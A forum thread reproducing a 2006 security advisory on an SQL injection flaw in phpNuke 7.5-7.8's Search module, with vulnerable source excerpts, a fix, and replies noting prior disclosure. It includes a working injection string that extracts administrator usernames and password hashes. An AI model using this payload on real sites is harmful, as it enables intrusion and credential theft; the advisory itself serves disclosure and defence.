Waraxe Forums - [waraxe-2006-SA#046]

waraxe · Site admin

{================================================================================}
{ [waraxe-2006-SA#046] }
{================================================================================}
{ }
{ [ Critical sql injection in phpNuke 7.5-7.8 ] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 19. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-46.html

Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.5 - 7.8

Homepage: http://phpnuke.org/

What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This particular advisory will address critical sql injection case in "Search" module.
Versions 7.5 - 7.8 are affected, older versions contain different code implementation
and are not affected by bug. Newest version 7.9 is not vulnerable too.

Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's start by looking at "modules/Search/index.php" code in older nuke versions, in this
example, 7.1 :

----------------[ from source code ]------------------

$query = addslashes($query);

if ($type=="stories" OR !$type) {

if ($category > 0) {
$categ = "AND catid=$category ";
} elseif ($category == 0) {
$categ = "";
}
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors
a where s.aid=a.aid $queryalang $categ";
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
if ($author != "") $q .= "AND s.aid='$author' ";

----------------[ /from source code ]-----------------

As we can see, "addslashes()" is used against "$query" variable, so sql injection is not
possible. Now let's peek at the same code fragment in newer phpnuke version, in this
specific case - 7.5 :

----------------[ from source code ]------------------

$query = stripslashes(check_html($query, "nohtml"));

if ($type=="stories" OR !$type) {

if ($category > 0) {
$categ = "AND catid='$category' ";
} else {
$categ = "";
}
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors
a where s.aid=a.aid $queryalang $categ";
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
if ($author != "") $q .= "AND s.aid='$author' ";
----------------[ /from source code ]-----------------

Any difference? Only the first line:

$query = stripslashes(check_html($query, "nohtml"));

Well, i really don't know, what was thinking the person, who changed this little code
snippet. But the truth is, that very big hole to phpnuke installation is opened and it exists
in versions 7.5, 7.6, 7.7 and 7.8 ;)

So - is this exploitable? Yes, if we have mysql version 4.x with UNION support, if we can avoid
potential anti-sql-injection filters/traps/ids/ips and if sql table name prefix is not changed.

Example proof of concept exploit? Here it is:

[------ real life exploit ------]

p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

[----- /real life exploit ------]

For exploiting just enter this string to search field in "modules.php?name=Search" page:

http://www.waraxe.us/~kama/wsa-46-01.png

and if it works, you will see usernames and password hashes of ALL admins ;)

http://www.waraxe.us/~kama/wsa-46-02.png

See ya s00n and have a nice day ;)

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download 7.9 version. Or patch manually that flawed codeline.

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!

Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

sp3x · Valuable expert

waraxe look : http://securityreason.com/achievement_securityalert/27

The adv was posted on : 15.11.2005
Exploit for this issue also was realised : http://securityreason.com/achievement_exploitalert/5

And the fix too : http://securityreason.com/patch/6
The fix was done witch chatserv form nukefixes.com

Please next time use google before post advisory

waraxe · Site admin

sp3x · Valuable expert

"So it is very fu**ing confusing to do some sec audit Rolling Eyes"

Yes i know... the is phpnuke Smile

Do you used phpnuke from nukefixes.com ??
They use recent phpnuke with all patches.

Here : http://secunia.com/advisories/17543/ Smile

The best way is to check the CVE database they have all issues.

But i can say Good find Smile

And there is no problem ... nobody is perfect Smile

zer0-c00l · Advanced user

Don't worry Waraxe Very Happy

You're a cool guy and we like you Wink

btw, maybe phpBB have some simillar bug.. or not?

ps: sorry my bad english

shai-tan · Valuable expert

Waraxe already released 2 more that can be used and they are linked all round the net now. Even 2 is bloody good after all the away time he has had.